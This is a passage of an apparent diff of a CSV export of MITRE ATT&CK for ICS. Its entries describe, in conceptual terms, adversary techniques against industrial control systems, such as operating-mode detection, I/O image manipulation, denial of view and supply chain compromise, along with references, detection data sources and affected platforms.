2021.', 'source_name': 'Omron PLC Operating Modes', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'}, {'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'source_name': 'Machine Information Systems PLCs 2007', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'}, {'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'source_name': 'PLCgurus PLC Basic 2021', 'url': 'https://www.plcgurus.net/plc-basics/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0868,mitre-ics-attack,T0868,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Detect Operating Mode,"Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.",attack-pattern--2aa406ed-81c3-4c1d-ba83-cfbee5a2847a,attack-pattern,['collection-ics'],2021-04-13T11:39:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0871', 'source_name': 'mitre-ics-attack', 'external_id': 'T0871'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0871,mitre-ics-attack,T0871,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Execution through API,Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.,attack-pattern--5a2610f6-9fff-41e1-bc27-575ca20383d4,attack-pattern,['execution-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['API monitoring', 'Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0822', 'source_name': 'mitre-ics-attack', 'external_id': 'T0822'}, {'description': 'Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018.', 'source_name': 'EAttack External Remote Services', 'url': 'https://attack.mitre.org/wiki/Technique/T1133'}, {'description': ""Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019."", 'source_name': 'Ukraine15 - Zetter, Kim', 'url': 'https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/'}, {'description': 'ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.', 'source_name': 'Ukraine15 - ICSCERT', 'url': 'https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01'}, {'description': 'John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.', 'source_name': 'Ukraine15 - Fireeye', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0822,mitre-ics-attack,T0822,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,External Remote Services,"Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio.",attack-pattern--8d2f3bab-507c-4424-b58b-edc977bd215c,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,['Authentication logs'],,,,"['Control Server', 'Input/Output Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0872', 'source_name': 'mitre-ics-attack', 'external_id': 'T0872'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0872,mitre-ics-attack,T0872,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Indicator Removal on Host,"Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.",attack-pattern--53a26eee-1080-4d17-9762-2027d5a1b805,attack-pattern,['evasion-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Process monitoring', 'Process command-line parameters', 'API monitoring', 'Windows event logs']",,,,"['Windows', 'Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0828', 'source_name': 'mitre-ics-attack', 'external_id': 'T0828'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0828,mitre-ics-attack,T0828,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Loss of Productivity and Revenue,"Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.",attack-pattern--63b6942d-8359-4506-bfb3-cf87aa8120ee,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T835', 'source_name': 'mitre-ics-attack', 'external_id': 'T0835'}, {'description': 'Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018.', 'source_name': 'Guidance - ISA PLC', 'url': 'https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T835,mitre-ics-attack,T0835,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Manipulate I/O Image,"Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) +Contributors: Matan Dobrushin - Otorio",['command-and-control-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0885,mitre-ics-attack,T0885,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Matan Dobrushin - Otorio'],['Network Traffic: Network Traffic Flow'],,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0815', 'external_id': 'T0815'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",,attack-pattern,attack-pattern--56ddc820-6cfb-407f-850b-52c035d123ac,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,Denial of View,"Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. +An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. -When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. +In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0815,mitre-ics-attack,T0815,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0866', 'external_id': 'T0866'}, {'source_name': 'EAttack Exploitation of Remote Services', 'description': 'Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019.', 'url': 'https://attack.mitre.org/techniques/T1210/'}, {'source_name': 'Reference - Dragos - 201910', 'description': 'Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', 'url': 'https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/'}]",,attack-pattern,attack-pattern--85a45294-08f1-4539-bf00-7da08aa7b0ee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Exploitation of Remote Services,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services) -One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.",attack-pattern--36e9f5bc-ac13-4da4-a2f4-01f4877d9004,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Controller program', 'Process monitoring']",,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0801', 'source_name': 'mitre-ics-attack', 'external_id': 'T0801'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0801,mitre-ics-attack,T0801,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Monitor Process State,"Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.",attack-pattern--2d0d40ad-22fa-4cc8-b264-072557e1364b,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Controller program', 'Network device logs', 'Process monitoring', 'Netflow/Enclave netflow', 'Host network interfaces']",,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0843', 'source_name': 'mitre-ics-attack', 'external_id': 'T0843'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0843,mitre-ics-attack,T0843,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Program Download,"Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.",attack-pattern--be69c571-d746-4b1f-bdd0-c0c9817e9068,attack-pattern,['lateral-movement-ics'],2021-04-13T12:52:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",['Joe Slowik - Dragos'],,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0867', 'source_name': 'mitre-ics-attack', 'external_id': 'T0867'}, {'description': 'Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019.', 'source_name': 'EAttack Lateral Tool Transfer', 'url': 'https://attack.mitre.org/techniques/T1570/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0867,mitre-ics-attack,T0867,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Lateral Tool Transfer,"Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) +ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910)","['lateral-movement-ics', 'initial-access-ics']",https://collaborate.mitre.org/attackics/index.php/Technique/T0866,mitre-ics-attack,T0866,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"['Human-Machine Interface', 'Data Historian', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0826', 'external_id': 'T0826'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",,attack-pattern,attack-pattern--b5b9bacb-97f2-4249-b804-47fd44de1f95,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Loss of Availability,"Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.",attack-pattern--ead7bd34-186e-4c79-9a4d-b65bcce6ed9d,attack-pattern,['lateral-movement-ics'],2021-04-12T16:19:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Packet capture', 'Process use of network', 'Process monitoring', 'Netflow/Enclave netflow', 'Network protocol analysis']",,,,"['Human-Machine Interface', 'Control Server', 'Data Historian']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T854', 'source_name': 'mitre-ics-attack', 'external_id': 'T0854'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T854,mitre-ics-attack,T0854,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Serial Connection Enumeration,"Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. +Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th.",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0826,mitre-ics-attack,T0826,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0829', 'external_id': 'T0829'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",,attack-pattern,attack-pattern--138979ba-0430-4de6-a128-2fc0b056ba36,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Loss of View,"Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0829,mitre-ics-attack,T0829,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Human-Machine Interface', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0849', 'external_id': 'T0849'}]",,attack-pattern,attack-pattern--ba203963-3182-41ac-af14-7e7ebc83cd61,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Masquerading,"Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. -While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.",attack-pattern--5f3da2f3-91c8-4d8b-a02f-bf43a11def55,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Windows', 'Input/Output Server', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0862', 'source_name': 'mitre-ics-attack', 'external_id': 'T0862'}, {'description': 'Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021.', 'source_name': 'Control Global Yokogawa May 2019', 'url': 'https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/'}, {'description': 'F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019.', 'source_name': 'Havex - F-Secure - 201406', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}, {'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'source_name': 'Havex - F-Secure', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0862,mitre-ics-attack,T0862,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Supply Chain Compromise,"Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. +Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.",['evasion-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0849,mitre-ics-attack,T0849,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Service: Service Metadata']",,,,,"['Human-Machine Interface', 'Control Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0836', 'external_id': 'T0836'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'}]",,attack-pattern,attack-pattern--097924ce-a9a9-4039-8591-e0deedfb8722,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Modify Parameter,"Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. -Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. +An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. -F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).",attack-pattern--5e0f75da-e108-4688-a6de-a4f07cc2cbe3,attack-pattern,['initial-access-ics'],2021-04-13T12:19:26.506Z,2020-05-21T17:43:26.506Z,,"['Web proxy', 'File monitoring', 'Detonation chamber', 'Digital signatures']",,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0859', 'source_name': 'mitre-ics-attack', 'external_id': 'T0859'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'source_name': 'BlackEnergy - Booz Allen Hamilton', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0859,mitre-ics-attack,T0859,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Valid Accounts,"Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, 